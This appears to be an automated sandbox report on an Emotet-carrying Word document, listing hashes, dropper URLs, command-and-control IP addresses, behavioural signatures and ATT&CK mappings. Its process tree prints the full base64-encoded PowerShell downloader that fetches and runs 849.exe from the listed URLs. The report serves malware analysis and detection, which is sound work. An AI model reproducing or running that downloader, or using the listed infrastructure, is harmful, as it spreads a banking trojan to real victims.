emotet | f7b95f13831f1c051ec6f8f9759ac2973f3648654d5169d960c86ea15def3497

General

Target

SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.29704.23856.doc
Size

175KB
MD5

caf21362d9227ac58c368f0db495a562
SHA1

b15449eac71ee609b781f595cf2140a35583192d
SHA256

f7b95f13831f1c051ec6f8f9759ac2973f3648654d5169d960c86ea15def3497
SHA512

bd990dc8d525b53fac44164a679461e0a7138115a6b27c8d8b90b96ebc287afcf56454ef92fa097c761ea9efa1332854cd13ed54b17ac1019041bc8e745684d4

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/

exe.dropper

http://odessaresources.com/cgi-bin/3_o_but9/

exe.dropper

https://onefarmdesign.com/cgi-bin/u_fig_m2mv/

exe.dropper

http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/

exe.dropper

http://www.piemonteitinera.net/n_g2o4_jumkt4/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE849.exemsrepl40.exe

pid	process
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
3500	849.exe
3760	msrepl40.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1468 WINWORD.EXE
1468 WINWORD.EXE
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3836 736 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3836	736	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

849.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\msvidc32\msrepl40.exe 849.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3836 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exemsrepl40.exe

pid process

3836 powersheLL.exe
3836 powersheLL.exe
3836 powersheLL.exe
3760 msrepl40.exe
3760 msrepl40.exe
3760 msrepl40.exe
3760 msrepl40.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

21 3836 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

849.exemsrepl40.exe

pid process

3500 849.exe
3760 msrepl40.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\msvidc32\msrepl40.exe	849.exe

description	pid	process
Token: SeDebugPrivilege	3836	powersheLL.exe

pid	process
3836	powersheLL.exe
3836	powersheLL.exe
3836	powersheLL.exe
3760	msrepl40.exe
3760	msrepl40.exe
3760	msrepl40.exe
3760	msrepl40.exe

flow	pid	process
21	3836	powersheLL.exe

pid	process
3500	849.exe
3760	msrepl40.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

849.exe

description	pid	process	target process
PID 3500 wrote to memory of 3760	3500	849.exe	msrepl40.exe
PID 3500 wrote to memory of 3760	3500	849.exe	msrepl40.exe
PID 3500 wrote to memory of 3760	3500	849.exe	msrepl40.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3500-11-0x0000000000680000-0x000000000068C000-memory.dmp	emotet
behavioral2/memory/3500-11-0x0000000000680000-0x000000000068C000-memory.dmp	emotet
behavioral2/memory/3760-14-0x0000000000740000-0x000000000074C000-memory.dmp	emotet
behavioral2/memory/3760-14-0x0000000000740000-0x000000000074C000-memory.dmp	emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.29704.23856.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:1468

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3836

C:\Users\Admin\849.exe
C:\Users\Admin\849.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3500

C:\Windows\SysWOW64\msvidc32\msrepl40.exe
"C:\Windows\SysWOW64\msvidc32\msrepl40.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:3760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\849.exe

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C:\Users\Admin\849.exe

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C:\Windows\SysWOW64\msvidc32\msrepl40.exe

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memory/1468-4-0x000001EE07197000-0x000001EE07205000-memory.dmp

Filesize
440KB

Download
memory/3500-11-0x0000000000680000-0x000000000068C000-memory.dmp

Filesize
48KB

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memory/3760-12-0x0000000000000000-mapping.dmp

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memory/3760-14-0x0000000000740000-0x000000000074C000-memory.dmp

Filesize
48KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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